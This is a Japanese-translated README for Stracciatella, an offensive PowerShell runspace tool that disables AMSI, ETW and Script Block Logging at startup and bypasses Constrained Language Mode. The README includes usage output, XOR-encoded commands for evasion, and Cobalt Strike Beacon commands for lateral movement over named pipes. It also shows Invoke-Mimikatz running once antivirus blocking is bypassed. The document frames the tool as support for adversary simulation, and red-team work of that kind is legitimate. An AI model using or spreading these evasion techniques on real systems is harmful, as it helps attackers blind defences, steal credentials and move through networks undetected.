
運用セキュリティ上安全な、C#内から(別名SharpPick)のPowerShell実行空間。AMSI、制約言語モード、スクリプトブロックログが起動時に無効化されています。
C# 内からの PowerShell ランスペース(別名 SharpPick 手法)で、AMSI、ETW、スクリプトブロックログ記録を無効化した状態でお届けします。
昨今、PowerShell は以下のような技法により厳重に計装されています:
高度な攻撃者はこれらの防御を回避する方法を見つけなければならず、洗練された敵対的シミュレーション演習を実施するためには特に重要です。そのような取り組みを支援するために、本プロジェクトが作成されました。
このプログラムは、以下の特定の技法に対するバイパスを基に構築されています:
これらのバイパスはさらに以下の研究に基づいています:
SharpPick のアイデア、すなわち C# アセンブリ内から Runspaces を使用して PowerShell スクリプトを起動するという手法も新しいものではなく、最初に実装したのは Lee Christensen (@tifkin_) 氏の以下です:
また、ソースコードは CustomPSHost の実装を Lee 氏から借用しています。
本プロジェクトは上記の研究と優れたセキュリティコミュニティから継承し、起動時に防御が無効化された実効性の高い PowerShell 環境を提供することを目的としています。
.NET 4.0 で簡単にコンパイルできます。一方、.NET Framework 4.7.1+ でコンパイルすると、CLM バイパス成果物を構成する DLL をアンロードし、その後それらを削除しようとする追加機能が含まれます(正直なところ、うまく機能するとは限りません)。
最良の結果が得られるのは、.NET 4.0 でコンパイルされた Stracciatella です。
いくつかのオプションが利用可能です:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
プログラムはコマンドとスクリプトファイルのパスを入力として受け入れます。両方ともオプションで、何も指定されなければ疑似シェルが起動します。 コマンドとスクリプトはどちらも、1バイト XOR(Base64 エンコード出力)を使用してさらにエンコードでき、OpSec の向上に役立ちます。
以下にいくつかの使用例を示します:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
まず、エンコードされたステートメントを準備するために、同梱の encoder.py スクリプトを使用できます。使用方法は次のとおりです:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
次に、encoder.py の出力を Stracciatella のエンコードされたコマンドとして入力します:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
ここで:
Command は次のコマンドから構成されています:Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 には以下が含まれています:"ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella には Aggressor スクリプトが付属しており、これをロードすると Beacon コンソールで stracciatella コマンドが使用可能になります。使用法は powerpick と非常に似ています(事前に stracciatella-import で PowerShell スクリプトをインポート)。入力パラメータはランダムなキーで XOR され、ランダムに名前付けられたパイプを介して Stracciatella の runspace に渡されます。
以下の Cobalt Strike コマンドが利用可能です:
Stracciatella を使用する戦略の一つとして、十分に長いパイプ読み取りタイムアウトを設定し(1)、リモートマシンで起動する(2)ことで、Stracciatella の助けを借りて名前付きパイプを介した横断移動のオプションを得ることができます。
powerpick に対する利点は、Stracciatella が AMSI.dll にパッチを適用しないこと(Powerpick が行う AmsiScanBuffer パッチとは異なる)であり、その結果、メモリ内パッチを探す EDR から見たフォレンジックノイズが少なくなる可能性があります。また、Stracciatella は最終的に 制約付き言語モード を安定してバイパスできるようになる予定ですが、これは現在 powerpick では不可能です。
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
最後に、Stracciatella は、PowerShell 保護を回避する機能を提供していない他のツールや C2 でも簡単に使用できます。
stracciatella がエラー 2 (ERROR_FILE_NOT_FOUND) を返す場合、それは Stracciatella が内部で名前付きパイプにデータが書き込まれるのを待機中にタイムアウトしたことを意味します。
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
これは、Stracciatella のタイムアウトパラメータを次のように調整することで改善できます:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
関連する aggressor スクリプトは、内部の Beacon ルーチンを利用してランダムな名前のパイプに書き込みを行います。そのパイプのもう一方の端では、Stracciatella のロジックが待ち受けます。受信側は一定時間(Stracciatella のオプションの --timeout パラメータ、デフォルト 60 秒)受信データを待ち、データがなければタイムアウトして正常に終了します。それ以外の場合は、受信したコマンドがデコードされて通常通り実行されます。
時には、PowerShell ランタイムから呼び出したい関数を公開していなかったり、.NET モジュールをリフレクティブにロードしたりしない PowerShell スクリプトもあります。そのようなユースケースに対応するために、stracciatella-script <scriptpath> <command Beacon コマンドを使用できます。これは、指定された PowerShell スクリプトファイルを読み込み、そのスクリプトに指定された <command> をセミコロンで区切って追加します。
Stracciatella の Aggressor スクリプト (CNA) は、BOF.NET がロードされているかどうかを検出し、ロードされていれば以下のコマンドを公開します:
bofnet_loadstracciatella
これは bofnet_load stracciatella.exe を発行します。さらに、Stracciatella は Cobalt の組み込み execute-assembly ではなく、bofnet_jobassembly を介して実行されるようになります。
この動作は、stracciatella.cna スクリプトのグローバル変数を変更することで調整できます:
#
# BOF.NET が Cobalt Strike にロードされている場合、`execute-assembly` よりも `bofnet_jobassembly` コマンドを優先します。
# これは、fork & run ではなく BOF.NET を介してインライン/インプロセスで実行する戦術に切り替えたい場合に便利です。
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
Matt Graeber によって発見されたリフレクションを使用していますが、このプログラムのアプローチは若干変更されています。"amsiInitFailed" のような名前でシンボルを参照する代わりに、リフレクティブにフェッチ可能なすべてのアセンブリ、メソッド、型、フィールドを走査します。次に、Management.Automation アセンブリ内の NonPublic および Static 変数を操作して AMSI を無効化します。スクリプトブロックログ記録についても同様で、この点ではいくつかのアイデアが Ryan Cobb (@cobbr) の研究に基づいています。
実際、Stracciatella は前述の私の Disable-*.ps1 ファイルですでにカバーされているのと同じ実装を使用しています。
また、amsi.dll にパッチを適用しようとはしません。これは少々ノイズが多く、近い将来 EDR/HIPS/AV によって厳重に監視される可能性があります。システムライブラリの整合性を破壊することは、リフレクティブな変数の改変と比較して明らかに不利です。
Invoke-Mimikatz を見せてくれませんか?もちろん、どうぞ:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
現時点では、Stracciatella が PowerShell コマンド用の runspace を提供する方法は、最もステルス性が高いとは言えません。基本的に PowerShell の runspace を作成し、対応する .NET アセンブリをロードします。これは、Stracciatella のプロセスが少々怪しいとみなされるフラグになる可能性があります。
このプロジェクトや他のプロジェクトは、眠れない夜と多くのハードワークの成果です。私の活動を気に入っていただき、常にコミュニティに還元している点を評価していただけるのであれば、 私にコーヒーを買ってください (あるいはビールの方が良いかもしれません) 感謝の気持ちとして!💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| Cobalt Strike コマンド | 説明 |
|---|
stracciatella [-v] <command> | 指定されたコマンドを実行します |
stracciatella-remote [-v] <machine> <pipename> <command> | リモートマシンの指定されたパイプ上でコマンドを実行します |
stracciatella-import <scriptpath> | Stracciatella で使用する PowerShell スクリプトをインポートします |
stracciatella-script <scriptpath> <command> | 指定された PowerShell (ps1) スクリプトを事前読み込みし、そのスクリプトに指定のコマンドをセミコロンで区切って追加します (stracciatella-import と stracciatella を1回の操作で組み合わせたもの) |
stracciatella-clear | その Beacon 上のインポートされたスクリプトをクリアします |
stracciatella-timeout <milliseconds> | デフォルトの名前付きパイプ読み取りタイムアウトを調整します |
bofnet_loadstracciatella | Stracciatella.exe を BOF.NET(使用している場合)に読み込みます |
bofnet_stracciatella <command> | (非ブロッキング) 安全な Stracciatella runspace で PowerShell コマンドを BOF.NET bofnet_jobassembly 経由で実行します |
bofnet_executestracciatella <command> | (ブロッキング) 安全な Stracciatella runspace で PowerShell コマンドを BOF.NET bofnet_executeassembly 経由で実行します |
bofnet_stracciatella_script <scriptpath> <command> | 指定された PowerShell スクリプトを事前読み込みし、与えられたコマンドをパラメータ付きで起動します(BOF.NET 経由) |